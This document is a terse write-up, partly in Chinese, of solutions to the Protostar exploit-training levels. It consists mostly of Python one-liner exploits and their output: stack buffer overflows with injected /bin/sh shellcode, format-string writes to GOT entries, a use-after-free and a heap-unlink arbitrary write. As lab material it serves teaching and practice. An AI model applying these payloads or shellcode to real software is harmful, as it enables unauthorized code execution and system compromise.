stack0

$ python -c "print 0x44*'a'" | ./stack0
you have changed the 'modified' variable

stack1

$ python -c "print 0x40*'a'+'\x64\x63\x62\x61'" | xargs ./stack1
you have correctly got the variable to the right value

stack2

import os
payload = 'a'*0x40 + '\x0a\x0d\x0a\x0d'
os.putenv("GREENIE", payload)
os.system("./stack2")

stack3

$ readelf -a stack3 | grep win
There are no unwind sections in this file.
56: 08048424 20 FUNC GLOBAL DEFAULT 14 win
$ python -c "print 0x40*'a'+'\x24\x84\x04\x08'" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack 4

$ readelf -a stack4 | grep win
There are no unwind sections in this file.
56: 080483f4 20 FUNC GLOBAL DEFAULT 14 win
$ python -c "print 76*'a'+'\xf4\x83\x04\x08'"|./stack4
code flow successfully changed

stack5

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled

系统没开ASLR。让程序崩溃,调试core dump获得stack address。

python -c "print 0x4c*'a'+'\x10\xfd\xff\xbf'+'\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'" | ./stack5

stack6

return addr => addr(ret) => stack addr

# retn 0x08048508
python -c "print 0x50*'a'+'\x08\x85\x04\x08'+'\x04\xfd\xff\xbf'+'\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'" | ./stack6

stack7

# retn 0x08048553
python -c "print 0x50*'a'+'\x53\x85\x04\x08'+'\x04\xfd\xff\xbf'+'\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'" | ./stack6

format0

root@protostar:/opt/protostar/bin# python -c "print 0x40*'a'+'\xef\xbe\xad\xde'" | xargs ./format0
you have hit the target correctly :)

format1

%128$n代表第128个参数,argv会放在栈上。

root@protostar:/opt/protostar/bin# python -c "print '\x38\x96\x04\x08\x08\x04aaa%128\$n'" | xargs ./format1 aaayou have modified the target :)

format2

[-------------------------------------code-------------------------------------]
0x8048477 <vuln+35>: call 0x804835c <fgets@plt>
0x804847c <vuln+40>: lea eax,[ebp-0x208]
0x8048482 <vuln+46>: mov DWORD PTR [esp],eax
=> 0x8048485 <vuln+49>: call 0x804837c <printf@plt>
0x804848a <vuln+54>: mov eax,ds:0x80496e4
0x804848f <vuln+59>: cmp eax,0x40
0x8048492 <vuln+62>: jne 0x80484a2 <vuln+78>
0x8048494 <vuln+64>: mov DWORD PTR [esp],0x8048590
Guessed arguments:
arg[0]: 0xffffd450 ("aaaaaa\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffd440 --> 0xffffd450 ("aaaaaa\n")
0004| 0xffffd444 --> 0x200
0008| 0xffffd448 --> 0xf7fc2c20 --> 0xfbad2288
0012| 0xffffd44c --> 0xf7fec308 (<_dl_check_map_versions+632>: mov edi,eax)
0016| 0xffffd450 ("aaaaaa\n")

exploit:

root@protostar:/opt/protostar/bin# python -c "print '\xe4\x96\x04\x08%4\$060x%4\$n'" | ./format2
.0000000000000000000000000000000000000000000000000000080496e4
you have modified the target :)

format3

python -c "print '\xf4\x96\x04\x08%12\$016930112x%12\$n'" | ./format3

看了我的方法还是有点弱- -,基本就是一字节写比较好的方法

python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n%13$n%14$n%15$n"' | ./format3
target is 44444444 :(

format4

写exit的GOT表中的数据,GOT["exit"]=0x08049724,单字节写入。

python -c "print '\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08'+'%0164x%4\$n%0208x%5\$n%0128x%6\$n%260x%7\$n'" | ./format4

heap0

winner = 0x08048464

root@protostar:/opt/protostar/bin# python -c "print 72*'a'+'\x64\x84\x04\x08'" | xargs ./heap0
data is at 0x804a008, fp is at 0x804a050
level passed

heap1

GOT[“puts”] = 0x08049774
winner = 0x08048494
没啥说的,把第二个指针覆盖为puts的got地址,第二次strcpy把winner写入puts的got表中

root@protostar:/opt/protostar/bin# ./heap1 $(python -c "print 20 * 'a' + '\x74\x97\x04\x08'") $(python -c "print '\x94\x84\x04\x08'")
and we have a winner @ 1491862467

heap2

很明显的UAF,struct auth = 36字节,先创建auth,再free再用strdup分配36字节大小的空间即可。

[ auth = (nil), service = (nil) ]
auth aaaaa
[ auth = 0x903d008, service = (nil) ]
reset
[ auth = 0x903d008, service = (nil) ]
serviceaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[ auth = 0x903d008, service = 0x903d018 ]
login
you have logged in already!
[ auth = 0x903d008, service = 0x903d018 ]

heap3

unlink导致任意地址写

root@protostar:/opt/protostar/bin# ./heap3 $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC
that wasn't too bad now, was it? @ 1491865342